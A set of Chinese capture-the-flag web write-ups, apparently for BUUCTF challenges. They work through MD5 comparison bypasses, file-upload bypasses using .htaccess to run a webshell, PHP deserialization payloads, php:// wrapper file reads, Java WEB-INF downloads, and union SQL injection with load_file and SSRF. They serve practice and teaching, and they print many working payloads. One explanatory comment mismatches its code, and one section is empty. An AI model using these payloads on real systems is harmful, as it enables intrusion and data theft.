[BJDCTF2020]Easy MD5
在“提交查询”处提交1,在url处得到一个password变量,抓包,也可以看响应头
需要password=md5($pass,true)条件为真时,才会执行select * form 'admin'
md5语法
md5(string,raw)
参数 | 描述 |
string | 必需。要计算的字符串。 |
raw | 可选。
|
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。 上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ' \ '后面的3个字符连同' \ '算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ' ‘字符。6f就是对应‘ o ’。
然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'
为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
输入 ffifdyop,得到
查看源代码
可以看出条件是要求两者不相等但md5值需要相当,我们知道md5是哈希算法的一种,因此此时我们就想到了用0e这种方法来进行绕过,因此我们就需要找出几个字符串,让它进行md5加密后为0e这种的,下面几个字符串经md5加密后为0e格式
aabg7XSs
aabC9RqS
s878926199a
QNKCDZO
240610708
?a[]=1&b[]=2或
?a=aabg7XSs&&b=aabC9RqS
强比较指的是===,此时不仅检测值,而且检测是否为同一类型,因此就无法用上面的方法来进行绕过了,这里绕过的话需要用到数组,我们知道php中md5函数要求的我们放在里面的应该是string类型的,那这里我们放入一个数组的话,它既不会报错,也不会解析它的值,这时候两者都报出了相同的错误,那是不是就构成了相等,我们的数组在echo时输出都为array,经过md5加密后全为null,因此可以进行绕过
param1[]=1¶m2[]=2
[MRCTF2020]你传你🐎呢
先上传一句话木马,抓包,发现被过滤掉了
随便修改一下文件后缀,判断是白名单还是黑名单绕过,然后点发送
还是被过滤掉了,接着修改一下MIME信息,判断是不是有MIME过滤,将请求头的Content-Type内容改为
image/png
上传成功了,确认是黑名单过滤文件后缀跟MIME,还回显了路径
服务器是不会把jpg当作php脚本来解析的,需要有别的文件辅助,目前我学到的是有两种方法:1.上传.user.ini文件,此前提是上传目录中已有php文件。2.上传.htaccess文件。
文件上传绕过的方法有很多, 试了一下发现能用.htaccess解析漏洞,我们先创建一个文件,文件名为.htaccess,内容为
AddType application/x-httpd-php .png
代码的意思就是,将当前目录下文件名为abc的文件当成php来解析
上传该文件,抓包修改一下MIME信息
上传成功,接着我们再上传一个png文件,内容为一句话木马
参考:
BUUCTF之你传你马呢 [MRCTF2020]_buuctf 你传尼马-CSDN博客
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一层绕过:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要求我们传入一个text文件,内容为welcome to the zjctf
可以用php://input伪协议以POST传参'welcome to the zjctf '(需要抓包)
也可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下
?text=data://text/plain,welcome to the zjctf或?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(一般是需要进行base64编码,本题没有过滤welcome to the zjctf)
第二层绕过:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
第三层绕过:
将base64编码进行解码得到:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
在本地进行序列化操作,
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
得到
payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码得到flag
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。
PHP访问修饰符
public 公共的 任何成员都可以访问
private 私有的 只有自己可以访问
绕过方式:%00类名%00成员名
protected 保护的 只有当前类的成员与继承该类的类才能访问 绕过方式:%00%00成员名
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。
利用ord函数 返回 “s” 的 ASCII值, s为字符串类型, s为16进制字符串数据类型。
绕过方式%00转换为\00即可绕过
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
该段代码首先通过get方法获得字符串str,若str中没有不可打印的字符串后,对字符串执行反序列化操作。因此我们再看一遍FileHandler类中的内容。
可以看到构析函数中,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。
在process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。
于是我们发现,若想读取flag,需要绕过process()方法的判断,防止op被置一。于是可以传入一个数字2,绕过process()方法的判断。
(我们可以从file_get_contents()这个函数入手,想要绕过它,可以使用php://filter协议,找调用这个函数所在的方法,然后是找谁又调用了这个方法,往前找,找到后比较这些方法有社么想同之处,再在类属性上修改)
第一种解法 突破protected访问修饰符限制
<?php
class FileHandler
{
protected $op = 2;
protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
protected $content;
}
$a=serialize(new FileHandler());
echo($a);
?>
序列化结果:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
删除乱码( * )并减去相应长度
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
构造payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
然后base64解码,得到flag。
第二种解法 突破ord函数限制
序列化代码
<?php
class FileHandler {
protected $op = 2;
protected $filename ='flag.php';
//题目中包含flag的文件
protected $content;
}
$bai = urlencode(serialize(new FileHandler));
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao
//打印结果
?>
序列化结果
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
构造payload
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
查看源码,得到flag
[GXYCTF2019]BabyUpload
上传含有一句话木马的php文件,抓包,后缀名ph被过滤
随意更改后缀名
更改Content-Type的内容为image/png
不行,再将Content-Type的内容更改为image/jpeg
发现绕过了“上传类型也太露骨了吧!”
再对一句话木马进行测试是否过滤,发现过滤了
这里的PHP版本为:
PHP/5.6.23,可以使用
绕过
上传一个
.htaccess文件将别的后缀名文件内容解析为php程序(文件名绕过),内容为
AddType application/x-httpd-php .png
随意上传一个png文件,内容为,并更改Content-Type的内容更改为image/jpeg
连接蚁剑在url中输入http://6c7bd541-7c54-42d9-83e9-51f2af5d6d16.node5.buuoj.cn:81upload/ac69fce11356714ebafeef3d4ea28b29/shell.png
查看根目录
得到flag
参考:
BUUCTF:[GXYCTF2019]BabyUpload_上传类型也太露骨了吧!-CSDN博客
[极客大挑战 2019]HardSQL
[RoarCTF 2019]Easy Java
做这道题前,我们先来看一下这道题所涉及的知识点。
servlet访问URL映射配置:
由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用元素和元素完成。元素用于注册Servlet,它包含有两个主要的子元素:和,分别用于设置Servlet的注册名称和Servlet的完整类名。一个元素用于映射一个已注册的Servlet的一个对外访问路径,它包含有两个子元素:和,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例如:
<servlet>
<servlet-name>ServletDemo1</servlet-name>
<servlet-class>cn.itcast.ServletDemo1</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletDemo1</servlet-name>
<url-pattern>/ServletDemo1</url-pattern>
</servlet-mapping>
解题思路:
打开网页发现是登陆界面,有一个链接help。点击发现无内容,但是从url看出是包含,可能存在文件包含漏洞
尝试使用post提交,发现下载下了文件,但是打开没什么东西
源码泄露:
但是filename这个点可以进行文件包含,我们就可以尝试是否可以访问WEB-INF/web.xml。可以下载WEB-INF_web.xml这个文件
WEB-INF_web.xml文件内容:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
文件包含:
通过url访问Servlet的方式是:
找到对应文件名,然后通过这个文件名找到对应的servlet,再通过这个servlet的文件名,获取到其具体的servlet文件。因为这个是类中的文件,所以后缀要加.class
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
post,get传参:
Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
抓包
对
参考:
https://www.cnblogs.com/karsa/p/13130130.html
[网鼎杯 2018]Fakebook
直接dirsearch扫描,扫描出robots.txt
得到user.php.bak这个文件,可以进行下载,下载好之后,重命名成user.php,得到php文件
从网上可以看到访问
/user.php.bak 下载了一个文件,去除后缀名.bak得到user.php,源码泄露。
文件内容:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();// 初始化,获得一个cURL句柄
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url); // 请求URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回数据流,而不直接输出
$output = curl_exec($ch);// 抓取URL并把它传递给浏览器
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);// 关闭cURL资源,并且释放系统资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,
然后判断是否是有效的请求,如果不是则返回404,如果是则返回url的内容,一个getBlogContents方法,返回一个url的内容。
还有一个isValidBlog验证这是否是一个有效的blog地址。
get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。
我们在dirsearch上扫描到了flag.php。猜测flag.php可能处于内网,
如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。
我们先回到首页,点join注册一个账号
点击username下面的链接
view.php?no = 1 and 1=1 //回显正常
view.php?no = 1 and 1=2 //错误回显
view.php?no=1 //没有报错
view.php?no=1' //报错
是数字型注入,于是我们可以查看表中的列数
view.php?no=1 order by 4 //没有报错
view.php?no=1 order by 5 //报错,有4列
我们尝试union联合注入:
view.php?no = -1 union select 1,2,3,4 //报错
view.php?no=-1 union/**/select 1,2,3,4 //过滤了(union select)用/**/代替空格 ,可以爆出回显位,回显位是username尝试之后,发现no这个地方可以注入
解决方法一:
还发现了错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。
然后我们开始查数据库和数据库信息
view.php?no=-1 union/**/select 1,database(),3,4--+ //数据库名
view.php?no=-1 union/**/select 1,user(),3,4--+ //数据库信息
发现居然是root权限,有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下
load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件
view.php?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
查看源码,得到flag
解决方法二:
爆表名:
view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
爆列名:
view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'--+
爆破信息:
view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data ),3,4 from users--+
是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。
我们对这个序列化后的内容稍作改动
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
根据之前的注入可知,有回显的是第二位,也就是username字段,
data对应应该就是第四个字段,将反序列化字符串尝试以注入的方式写入
构造payload:
view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码
mysql在不同版本读取文件方法大致有这3个:
1.load_file()
2.load data infile()
3.system cat